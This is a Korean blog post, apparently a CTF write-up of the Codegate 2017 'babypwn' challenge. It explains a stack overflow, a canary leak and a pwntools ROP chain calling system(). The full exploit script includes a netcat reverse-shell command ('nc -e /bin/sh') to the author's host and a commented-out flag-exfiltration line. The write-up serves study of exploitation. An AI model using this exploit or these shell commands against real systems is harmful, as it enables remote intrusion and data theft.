Codegate 2017 - babypwn
육아 때문에 최근 공부를 거의 못하고 있으나...pwnable 만은 놓지 않기 위해 시간날때마다 조금씩이라도 풀어보려 노력중이다. ㅠ
babypwn 은 Codegate 2017 prequal 에 출제 되었던 문제이다. 문제 환경도 잘 모르겠고 세팅하기 귀찮으니
대충 있는 리눅스 가상머신에 올려서 풀었다.
>>> print e.checksec()
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
stack canary 와 NX 가 걸려있다. fork() 를 해주기 때문에 aslr 은 큰 의미는 없다. canary 역시 fork() 때문에 재실행 전까지는 동일하다.
이런 유형의 문제는 보통 leak 가 가능하도록 되어있으므로 확인해 보자.
일단 0x8048907() 함수 내부에서 recv 로 입력값을 받는데, v2 버퍼는 0x28(40) byte 밖에 안되는데 0x64(100) 을 입력받고 있다.
그로인해 60바이트만큼 오버플로우가 발생한다.
하지만 버퍼 바로 아래에 canary 가 있어서 리턴 직전 확인하고 있으므로 (ssp 보호기법) 먼저 canary 를 leak 해야 한다.
canary 와 버퍼가 붙어있으므로 AAAA|canary 요렇게 빈틈없이 채워주면 message 를 출력해줄때 canary 까지 같이 출력하게 할 수 있다.
# leak.py
#!/usr/bin/python from pwn import * context(arch='x86', os='linux', endian='little') print "[*] codegate 2017 babypwn exploit by hyunmini" e = ELF('./babypwn') rop = ROP(e) log.info("stage 0 : leak canary") r = remote("192.168.231.128",8181) print r.recvuntil('menu > ') r.send('1\n') print r.recv(1024) r.send('a'*41) print hexdump(r.recv(1024))
hyunmini:codegate2017 $ python babypwn.py
[*] codegate 2017 babypwn exploit by hyunmini
[*] Loaded cached gadgets for './babypwn'
[*] stage 0 : leak canary
[+] Opening connection to 192.168.231.128 on port 8181: Done
▒▒▒▒▒▒▒C▒O▒D▒E▒G▒A▒T▒E▒2▒0▒1▒7▒▒▒▒▒▒▒
▒▒▒▒▒▒▒B▒A▒B▒Y▒P▒W▒N▒!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒G▒O▒O▒D▒L▒U▒C▒K▒~▒!▒▒▒▒▒▒▒▒▒▒▒
===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu >
Input Your Message :
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000020 61 61 61 61 61 61 61 61 61 75 16 35 f4 ff 75 b7 │aaaa│aaaa│au·5│··u·│
00000030
[*] Closed connection to 192.168.231.128 port 8181
붉게 표시된 부분이 leak 된 canary 값이다. 40 바이트만 찍어도 나와야 하는데 41바이트 찍어야 나오는 걸로 봐서
canary 첫번째 바이트는 0x00 임을 알 수 있다.
즉, 0x35167500 일 것이다.(little endian 이니)
이제 전체적인 rop exploit 을 구성해서 공격하면 된다.
간단하게 recv 함수로 bss 영역에 인자값을 입력받고, system 함수의 인자값으로 사용할 것이다.
pwntools 쓰면 요렇게 두줄로 간단하게 할 수 있다.
조금 살펴보니 pwntools 가 아래처럼 입력하면 알아서 ppr, pppr 넣어주고, plt 에 해당 함수 있으면 plt 호출,
없으면 srop 를 해준다. srop 도 안되면 에러를 내뿜는다.
rop.recv(0x4,e.bss(),len(cmd)+1,0x0) rop.system(e.bss())
아래는 전체 코드이다.
babypwn
#!/usr/bin/python from pwn import * context(arch='x86', os='linux', endian='little') print "[*] codegate 2017 babypwn exploit by hyunmini" e = ELF('./babypwn') rop = ROP(e) log.info("stage 0 : leak canary") r = remote("192.168.231.128",8181) print r.recvuntil('menu > ') r.send('1\n') print r.recv(1024) r.send('a'*41) recv_buf = r.recv(1024)[41:44] print hexdump(recv_buf) canary = u32('\x00' + recv_buf) log.info("found canary : 0x%x" % canary) cmd = "nc.traditional -e /bin/sh 192.168.231.1 7777" #cmd = "cat flag | nc 192.168.231.1 7777" rop.recv(0x4,e.bss(),len(cmd)+1,0x0) rop.system(e.bss()) payload = 'A'*40 + p32(canary) + 'B'*12 + rop.chain() + '\n' log.info("stage 1 : eip control") p = remote("192.168.231.128",8181) print p.recvuntil('menu > ') p.send('1\n') print p.recvuntil('Message : ') p.send(payload + '\n') print p.recvuntil('menu > ') p.send('3\n') p.send(cmd)
# ./babypwn.py
=============================================
hyunmini:codegate2017 $ nc -lv 7777
ls
babypwn
cd ..
'CTF Writeup' 카테고리의 다른 글
0ctf 2018 - LoginMe Writeup (0) | 2018.04.10 |
---|---|
codegate 2018 miro writeup (0) | 2018.02.06 |
codegate 2018 Impel Down writeup (0) | 2018.02.06 |
codegate 2018 - rbsql writeup (0) | 2018.02.06 |
Codegate 2014 pwn 250 Writeup + pwntools 연습 (0) | 2016.12.16 |